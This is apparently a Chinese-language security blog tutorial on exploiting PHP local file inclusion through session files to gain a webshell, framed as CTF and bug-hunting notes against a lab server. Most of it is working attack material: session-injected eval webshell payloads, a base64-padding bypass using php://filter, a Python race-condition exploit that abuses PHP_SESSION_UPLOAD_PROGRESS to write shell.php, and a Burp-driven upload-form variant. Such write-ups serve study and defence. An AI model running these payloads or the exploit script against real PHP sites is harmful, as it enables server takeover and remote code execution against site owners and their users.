LFI 繞過 Session 包含限制 Getshell

session文件包含漏洞就是在用戶可以控制session文件中的一部分信息,然後將這部分信息變成我們的精心構造的惡意代碼,之後去包含含有我們傳入惡意代碼的這個session文件就可以達到攻擊效果。

前言

之前打CTF和挖洞的時候遇到過不少服務器本地文件包含Session的漏洞,不過幾乎這種Session包含漏洞都會有一些限制的,需要結合一些特殊的技巧去Bypass,於是打算整理一下關於PHP LFI繞過Session包含限制Getshell的一些奇思妙想。

用戶會話

在瞭解session包含文件漏洞及繞過姿勢的時候,我們應該首先了解一下服務器上針對用戶會話session的存儲與處理是什麼過程,只有瞭解了其存儲使用機制我們才能夠合理的去利用它得到我們想要的結果。

會話存儲

存儲方式

Java是將用戶的session存入內存中,而PHP則是將session以文件的形式存儲在服務器某個文件中,可以在php.ini裏面設置session的存儲位置session.save_path。

可以通過phpinfo查看session.save_path的值
在這裏插入圖片描述
知道session的存儲後,總結常見的php-session默認存放位置是很有必要的,因爲在很多時候服務器都是按照默認設置來運行的,這個時候假如我們發現了一個沒有安全措施的session包含漏洞就可以嘗試利用默認的會話存放路徑去包含利用。

tips:如果沒做過設置,session文件默認是在/var/lib/php/sessions/目錄下,文件名是sess_加上你的session字段。(沒有權限)
而一般情況下,phpmyadmin的session文件會設置在/tmp目錄下,需要在php.ini裏把session.auto_start置爲1,把session.save_path目錄設置爲/tmp。

默認路徑

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

命名格式

如果某個服務器存在session包含漏洞,要想去成功的包含利用的話,首先必須要知道的是服務器是如何存放該文件的,只要知道了其命名格式我們才能夠正確的去包含該文件

session的文件名格式爲sess_[phpsessid]。而phpsessid在發送的請求的cookie字段中就可以看到。
在這裏插入圖片描述

會話處理

在瞭解了用戶會話的存儲後,接下來就需要了解php是如何處理用戶的會話信息。php中針對用戶會話的處理方式主要取決於服務器在php.ini或代碼中對session.serialize_handler的配置。

session.serialize_handler

PHP中處理用戶會話信息的主要是下面定義的兩種方式

session.serialize_handler = php           一直都在(默認方式)  它是用 | 分割

session.serialize_handler = php_serialize  php5.5之後啓用 它是用serialize反序列化格式分割

下面看一下針對PHP定義的不同方式對用戶的session是如何處理的,我們只有知道了服務器是如何存儲session信息的,才能夠往session文件裏面傳入我們所精心製作的惡意代碼

session.serialize_handler=php(半序列化)

服務器在配置文件或代碼裏面沒有對session進行配置的話,PHP默認的會話處理方式就是session.serialize_handler=php這種模式機制(php<5.5)。

下面通過一個簡單的用戶會話過程瞭解session.serialize_handler=php是如何工作的。

session.php

<?php

    session_start();
    $username = $_POST['username'];
    $_SESSION["username"] = $username;

?>

在這裏插入圖片描述
從圖中可以看到默認session.serialize_handler=php處理模式只對用戶名的內容(值)進行了序列化存儲,沒有對變量名(鍵)進行序列化,可以看作是服務器對用戶會話信息的半序列化存儲過程。

session.serialize_handler=php_serialize(完全序列化)

php5.5之後啓用這種處理模式,它是用serialize反序列化格式進行存儲用戶的會話信息。一樣的通過一個簡單的用戶會話過程瞭解session.serialize_handler=php_serialize是如何工作的。這種模式可以在php.ini或者代碼ini_set('session.serialize_handler', 'php_serialize');中進行設置。

<?php

    ini_set('session.serialize_handler', 'php_serialize');    
    session_start();
    $username = $_POST['username'];
    $_SESSION["username"] = $username;

?>

在這裏插入圖片描述
從圖中可以看到session.serialize_handler=php_serialize處理模式,對整個session信息包括文件名(鍵)、文件內容(值)都進行了序列化處理,並在前面加上a:1,可以看作是服務器對用戶會話信息的完全序列化存儲過程。

對比上面session.serialize_handler的兩種處理模式,可以看到他們在session處理上的差異,既然有差異我們就要合理的去利用這兩種處理模式,假如編寫代碼不規範的時候處理session同時用了兩種模式,那麼在攻擊者可以利用的情況下,很可能會造成session反序列化漏洞。

LFI Session

介紹了用戶會話的存儲和處理機制後,我們就可以去深入的理解session文件包含漏洞。LFI本地文件包含漏洞主要是包含本地服務器上存儲的一些文件,例如Session會話文件、日誌文件、臨時文件等。但是,只有我們能夠 控制 包含的文件存儲我們的 惡意代碼 才能拿到服務器權限。

其中針對LFI Session文件的包含或許是現在見的比較多,簡單的理解**session文件包含漏洞就是在用戶可以控制session文件中的一部分信息,然後將這部分信息變成我們的精心構造的惡意代碼,之後去包含含有我們傳入惡意代碼的這個session文件就可以達到攻擊效果。**下面通過一個簡單的案例演示這個漏洞利用攻擊的過程。

測試代碼
session.php

<?php

    session_start();
    $username = $_POST['username'];
    $_SESSION["username"] = $username;

?>

index.php

<?php

    $file  = $_GET['file'];
    include($file);

?>

漏洞利用

分析session.php可以看到用戶會話信息username的值用戶是可控的,因爲服務器沒有對該部分作出過濾限制。那麼我們就可以傳入惡意代碼就行攻擊利用

payload

http://192.33.6.145/FI/session/session.php

POST
username=<?php eval($_REQUEST[Qftm]);?>

在這裏插入圖片描述
得到PHPSESSID。可以看到有會話產生,同時我們也已經寫入了我們的惡意代碼。

雖然已經寫入了惡意代碼,但這裏session文件畢竟不是php文件,所以菜刀和蟻劍等不會解析,所以接下來就要利用 文件包含漏洞 去包含這個惡意代碼,執行我們想要的結果。藉助上一步產生的sessionID進行包含利用構造相應的payload。

payload

PHPSESSID7qefqgu07pluu38m45isiesq3s

index.php?file=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3s    // 進行文件包含

POST
Qftm=system('whoami');     // 執行命令
Qftm=system('whoami');phpinfo();

在這裏插入圖片描述
從攻擊結果可以看到我們的payload和惡意代碼確實都已經正常解析和執行。
後門連接:
在這裏插入圖片描述
包含限制

在上面我們所介紹的只是一種簡單的理想化的漏洞條件,所以你會看到這麼簡單就利用成功了,但是,事實上在平常我們所遇到的會有很多限制,比如說代碼中對用戶session會話信息做了一定的處理然後才進行存儲,這些處理操作常見的包括對用戶session信息進行 編碼 或 加密 等。另外常見的限制比如說服務器代碼中沒有出現代碼session_start();進行會話的初始化操作,這個時候服務器就無法生成用戶session文件,攻擊者自然也就沒有辦法就進行惡意session文件的包含。

下面主要針對這幾種session包含限制,利用系統服務或代碼本身的缺陷進行探索與利用。

Session Base64Encode

很多時候服務器上存儲的Session信息都是經過處理的(編碼加密),這個時候假如我們利用本地文件包含漏洞直接包含惡意session的時候是沒有效果的。那麼該怎麼去繞過這個限制呢,一般做法是逆過程,既然他選擇了編碼或加密,我們就可以嘗試着利用解碼或解密的手段還原真實session,然後再去包含,這個時候就能夠將惡意的session信息包含並利用成功。

很多時候服務器上的session信息會由base64編碼之後再進行存儲,那麼假如存在本地文件包含漏洞的時候該怎麼去利用繞過呢?下面通過一個案例進行講解與利用。

測試代碼
session.php

<?php

    session_start();      // 默認會話處理模式serialize_handler=php
    $username = $_POST['username'];
    $_SESSION['username'] = base64_encode($username);
    echo "username -> $username";

?>

index.php

<?php

    $file  = $_GET['file'];
    include($file);

?>

常規利用

正常情況下我們會先傳入惡意代碼在服務器上存儲惡意session文件
在這裏插入圖片描述
然後在利用文件包含漏洞去包含session
在這裏插入圖片描述
從包含結果可以看到我們包含的session被編碼了,導致LFI -> session失敗。
在不知道源代碼的情況下,從編碼上看可以判斷是base64編碼處理的
在這裏插入圖片描述
在這裏可以用逆向思維想一下,他既然對我們傳入的session進行了base64編碼,那麼我們是不是隻要對其先進行base64解碼然後再包含不就可以了,這個時候php://filter就可以利用上了。

構造payload

index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5pl

在這裏插入圖片描述
意外的事情發生了,你發現解碼後包含的內容竟然是亂碼!!這是爲什麼呢??

Bypass serialize_handler=php

對於上面利用php://filter的base64解碼功能進行解碼包含出現了錯誤,還是不能夠利用成功,回過頭仔細想想會發現,session存儲的一部分信息是用戶名base64編碼後的信息,然而我們對session進行base64解碼的是整個session信息,也就是說編碼和解碼的因果關係不對,也就導致解碼的結果是亂碼。

那有沒有什麼辦法可以讓base64編碼和解碼的因果關係對照上,答案是有的,先來了解一下base64編碼與解碼的原理。

Base64編碼與解碼

Base64編碼是使用64個可打印ASCII字符(A-Z、a-z、0-9、+、/)將任意字節序列數據編碼成ASCII字符串,另有“=”符號用作後綴用途。

base64索引表

base64編碼與解碼的基礎索引表如下
在這裏插入圖片描述
base64編碼原理

Base64將輸入字符串按字節切分,取得每個字節對應的二進制值(若不足8比特則高位補0),然後將這些二進制數值串聯起來,再按照6比特一組進行切分(因爲2^6=64),最後一組若不足6比特則末尾補0。將每組二進制值轉換成十進制,然後在上述表格中找到對應的符號並串聯起來就是Base64編碼結果。

由於二進制數據是按照8比特一組進行傳輸,因此Base64按照6比特一組切分的二進制數據必須是24比特的倍數(6和8的最小公倍數)。24比特就是3個字節,若原字節序列數據長度不是3的倍數時且剩下1個輸入數據,則在編碼結果後加2個=;若剩下2個輸入數據,則在編碼結果後加1個=。

完整的Base64定義可見RFC1421和RFC2045。因爲Base64算法是將3個字節原數據編碼爲4個字節新數據,所以Base64編碼後的數據比原始數據略長,爲原來的4/3。

base64解碼原理

(1)base64解碼過程

base64解碼,即是base64編碼的逆過程,如果理解了編碼過程,解碼過程也就容易理解。將base64編碼數據根據編碼表分別索引到編碼值,然後每4個編碼值一組組成一個24位的數據流,解碼爲3個字符。對於末尾位“=”的base64數據,最終取得的4字節數據,需要去掉“=”再進行轉換。

(2)base64解碼特點

base64編碼中只包含64個可打印字符,而PHP在解碼base64時,遇到不在其中的字符時,將會跳過這些字符,僅將合法字符組成一個新的字符串進行解碼。

Bypass base64_encode(繞過base64_encode)

瞭解了base64編碼原理之後和解碼的特點,怎麼讓base64解碼和編碼的因果關係對照上,其實就很簡單了,我們只要讓session文件中base64編碼的前面這一部分username|s:40:"正常解碼就可以,怎麼才能正常解碼呢,需要滿足base64解碼的原理,就是4個字節能夠還原原始的3個字節信息也就是說session前面的這部分數據長度需要滿足4的整數倍,如果不滿足的話,就會影響session後面真正的base64編碼的信息,也就導致上面出現的亂碼情況。

Bypass分析判斷

正常情況下base64解碼包含serialize_handler=php處理過的原始session信息,未能正常解析執行

username|s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ210ZnEnXSk7Pz4=";

?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5pl

在這裏插入圖片描述
依據base64編碼和解碼的特點進行分析。

當session存儲的信息中用戶名(值)編碼後的長度爲個位數時username|s:1:"這部分數據長度爲14,而實際解碼的部分爲usernames1,實際長度爲10,不是4的倍數,不滿足情況。

4個一組一解碼->缺少兩個字節,後面需佔兩位(X 代表佔位符)

username|s:1:"  //原始未處理信息

user name s1XX  //base64解碼特點,去除特殊字符,4個一組,填充兩個字節'XX'

當session存儲的信息中用戶名編碼後的長度爲兩位數時username|s:11:"這部分數據長度爲15,而實際解碼部分爲usernames11,實際長度爲11,不滿足情況。

4個一組一解碼->缺少一個字節,後面需佔一位

username|s:11:"   //原始未處理信息

user name s11X   //base64解碼特點,去除特殊字符,填充一個字節'X'

當session存儲的信息中用戶名編碼後的長度爲三位數時,username|s:111:"這部分數據長度爲16,而實際解碼部分爲usernames111,長度爲12,滿足情況。

4個一組一解碼->缺少零個字節,後面需佔零位

username|s:11:"   //原始未處理信息

user name s111  //base64解碼特點,去除特殊字符,填充0個字節'X'

這種情況下剛好滿足,即使前面這部分數據正常解碼後的結果是亂碼,也不會影響後面惡意代碼的正常解碼。

再次構造payload

POST:
username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm<?php eval($_POST['mtfq']);?>

先測試payload編碼後的長度是否滿足構造需求
在這裏插入圖片描述
在這裏插入圖片描述
結果中可以看到payload滿足長度的需求。

Bypass攻擊利用

分析怎麼繞過之後,可以構造payload傳入惡意session

http://192.33.6.145/FI/session/session.php

POST:
username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm<?php eval($_POST['mtfq']);?>

在這裏插入圖片描述
然後構造payload包含惡意session

http://192.33.6.145/FI/index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5pl

POST:
mtfq=phpinfo();

在這裏插入圖片描述
從相應結果中可以看到,在PHP默認的會話處理模式serialize_handler=php下,我們這次構造的payload成功解析了,達到了預期的目的。

Getshell

嘗試蟻劍連接我們session中傳入的惡意代碼
在這裏插入圖片描述
在這裏插入圖片描述
從連接情況上看,後門代碼的運行是正常的沒有出現問題。

Bypass serialize_handler=php_serialize

看到這裏可能有人會想上面默認處理的是session.serialize_handler = php這種模式,那麼針對session.serialize_handler = php_serialize這種處理方式呢,答案是一樣的,只要能構造出相應的payload滿足惡意代碼的正常解碼就可以。

測試代碼

session.php

<?php

    ini_set('session.serialize_handler', 'php_serialize');    
    session_start();
    $username = $_POST['username'];
    $_SESSION['username'] = base64_encode($username);    // 只對值進行編碼
    echo "username -> $username";

?>

Bypass分析判斷
正常情況下base64解碼包含serialize_handler=php_serialize處理過的原始session信息,未能正常解析執行

a:1:{s:8:"username";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ210ZnEnXSk7Pz4=";}

?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3s

在這裏插入圖片描述
這種模式下的分析,和上面Bypass分析的手段是一樣的,同樣依據base64編碼和解碼的特點進行分析。

當session存儲的信息中用戶名(值)編碼後的長度爲三位數時a:1:{s:8:"username";s:11:"這部分數據長度爲27,實際解碼爲a1s8usernames111,長度爲16,滿足情況。
4個一組一解碼->缺少零個字節,後面需佔零位

a:1:{s:8:"username";s:111:"  //原始未處理信息

a1s8 user name s111  //base64解碼特點,去除特殊字符,填充0個字節'X'

這種情況下剛好滿足,即使前面這部分數據正常解碼後的結果是亂碼,也不會影響後面惡意代碼的正常解碼。

構造payload

POST:
username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm<?php eval($_POST['mtfq']);?>

編碼後:cWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtPD9waHAgZXZhbCgkX1BPU1RbJ210ZnEnXSk7Pz4=

編碼測長
在這裏插入圖片描述
結果中可以看到payload滿足長度的需求。

Bypass攻擊利用

再次構造payload傳入惡意session

http://192.33.6.145/FI/session/session.php

POST:
username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm<?php eval($_POST['mtfq']);?>

在這裏插入圖片描述
然後用php://filter構造payload包含向服務器生成的惡意session

http://192.33.6.145/FI/session/index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3s

POST:
mtfq=phpinfo();

在這裏插入圖片描述
從相應結果中可以看到,這種模式下session.serialize_handler = php_serialize,我們構造的payload也成功的解析了,同樣達到了預期的目的。

Getshell

嘗試蟻劍連接我們session中傳入的惡意代碼
在這裏插入圖片描述

No session_start()

phpinfo session

一般情況下,session_start()作爲會話的開始出現在用戶登錄等地方以維持會話,但是,如果一個站點存在LFI漏洞,卻沒有用戶會話那麼該怎麼去包含session信息呢,這個時候我們就要想想系統內部本身有沒有什麼地方可以直接幫助我們產生session並且一部分數據是用戶可控的,很意外的是這種情況存在,下面分析一下怎麼去利用。

想要具體瞭解session信息就要熟悉session在系統中有哪些配置。默認情況下,session.use_strict_mode值是0,此時用戶是可以自己定義Session ID的。比如,我們在Cookie裏設置PHPSESSID=Qftm,PHP將會在服務器上創建一個session文件:/var/lib/php/sessions/sess_Qftm。

但這個技巧的實現要滿足一個條件:服務器上需要已經初始化Session。 在PHP中,通常初始化Session的操作是執行session_start()。所以我們在審計PHP代碼的時候,會在一些公共文件或入口文件裏看到上述代碼。那麼,如果一個網站沒有執行這個初始化的操作,是不是就不能在服務器上創建文件了呢?很意外是可以的。下面看一下php.ini裏面關鍵的幾個配置項:
在這裏插入圖片描述
session.auto_start:顧名思義,如果開啓這個選項,則PHP在接收請求的時候會自動初始化Session不再需要執行session_start()。但默認情況下,也是通常情況下,這個選項都是默認關閉的

session.upload_progress.enabled = on默認開啓這個選項,表示upload_progress功能開始,PHP 能夠在每一個文件上傳時監測上傳進度。 這個信息對上傳請求自身並沒有什麼幫助,但在文件上傳時應用可以發送一個POST請求到終端(例如通過XHR)來檢查這個狀態。

session.upload_progress.cleanup = on默認開啓這個選項,表示當文件上傳結束後,php將會立即清空對應session文件中的內容,這個選項非常重要

session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"當一個文件上傳在處理中,同時POST一個與INI中設置的session.upload_progress.name同名變量時(這部分數據用戶可控),上傳進度可以在SESSION中獲得。當PHP檢測到這種POST請求時,它會在SESSION中添加一組數據(系統自動初始化session), 索引是session.upload_progress.prefix與session.upload_progress.name連接在一起的值。

session.upload_progress特性:是php>=5.4添加的。**最初是PHP爲上傳進度條設計的一個功能,在上傳文件較大的情況下,PHP將進行流式上傳,並將進度信息放在Session中(包含用戶可控的值),即使此時用戶沒有初始化Session,PHP也會自動初始化Session。而且,默認情況下session.upload_progress.enabled是爲On的,也就是說這個特性默認開啓。**那麼,如何利用這個特性呢?

查看官方給的案列

PHP_SESSION_UPLOAD_PROGRESS的官方手冊

http://php.net/manual/zh/session.upload-progress.php

一個上傳進度數組的結構的例子

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

在session中存放的數據看上去是這樣子的:

<?php
$_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time
 "content_length" => 57343257, // POST content length
 "bytes_processed" => 453489,  // Amount of bytes received and processed
 "done" => false,              // true when the POST handler has finished, successfully or not
 "files" => array(
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field
   // The following 3 elements equals those in $_FILES
   "name" => "foo.avi",
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 )
);

Bypass思路分析

從官方的案例和結果可以看到session中一部分數據(session.upload_progress.name)是用戶自己可以控制的。那麼我們只要 上傳文件 的時候,在Cookie中設置PHPSESSID=Qftm(默認情況下session.use_strict_mode=0用戶可以自定義Session ID),同時POST一個惡意的字段PHP_SESSION_UPLOAD_PROGRESS ,(PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定義),只要上傳包裏帶上這個鍵,PHP就會自動啓用Session,同時,我們在Cookie中設置了PHPSESSID=Qftm,所以Session文件將會自動創建。

事實上並不能完全的利用成功,因爲session.upload_progress.cleanup = on這個默認選項會有限制,當文件上傳結束後,php將會立即清空對應session文件中的內容,這就導致我們在包含該session的時候相當於在包含了一個空文件,沒有包含我們傳入的惡意代碼。不過,我們只需要條件競爭,趕在文件被清除前利用即可。

Bypass思路梳理

upload file

files={'file': ('a.txt', "xxxxxxx")}

設置cookie PHPSESSID

session.use_strict_mode=0造成Session ID可控

PHPSESSID=Qftm

POST一個字段PHP_SESSION_UPLOAD_PROGRESS

session.upload_progress.name="PHP_SESSION_UPLOAD_PROGRESS",在session中可控,同時,觸發系統初始化session

"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

Bypass攻擊利用

腳本利用攻擊
編寫Exp

import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://192.33.6.145/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://192.33.6.145/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)

        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

運行攻擊效果
在服務器中可以看到生成:sess_Qftm
在這裏插入圖片描述
同時惡意代碼也會正常執行
在這裏插入圖片描述
之後可以利用後門webshell進行連接Getshell
在這裏插入圖片描述

表單利用攻擊

上面的一種做法是通過編寫腳本代碼的方式去利用的,不過還有另一種利用手段就是表單的攻擊利用。

表單構造

這裏可以更改官方給的案例進行利用
upload.html

<!doctype html>
<html>
<body>
<form action="http://192.33.6.145/index.php" method="post" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" vaule="<?php phpinfo(); ?>" />
    <input type="file" name="file1" />
    <input type="file" name="file2" />
    <input type="submit" />
</form>
</body>
</html>

但是同樣需要注意的是,cleanup是on,所以需要條件競爭,使用BP抓包,一遍瘋狂發包,一遍瘋狂請求

上傳文件

訪問本地upload.html開啓代理開始上傳文件
在這裏插入圖片描述
發包傳入惡意會話

代理攔截我們的上傳請求數據包,這裏需要設置Cookie: PHPSESSID=123456789(自定義sessionID),然後不斷髮包,生成session,傳入惡意會話。
在這裏插入圖片描述
請求載荷設置Null payloads
在這裏插入圖片描述
不斷髮包維持惡意session的存儲
在這裏插入圖片描述
不斷髮包的情況下,在服務器上可以看到傳入的惡意session
在這裏插入圖片描述
發包請求惡意會話
在這裏插入圖片描述
請求載荷設置Null payloads
在這裏插入圖片描述
在一端不斷髮包維持惡意session存儲的時候,另一端不斷髮包請求包含惡意的session

在這裏插入圖片描述
從結果中可以看到,利用表單攻擊的這種手法也是可以的,可以看到惡意代碼包含執行成功。

Conclusion

在平時遇到限制的時候,多去以逆向的思維和系統服務或代碼的本身去考慮問題,這樣才很有可能突破固有的限制。

參考:https://www.anquanke.com/post/id/201177

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章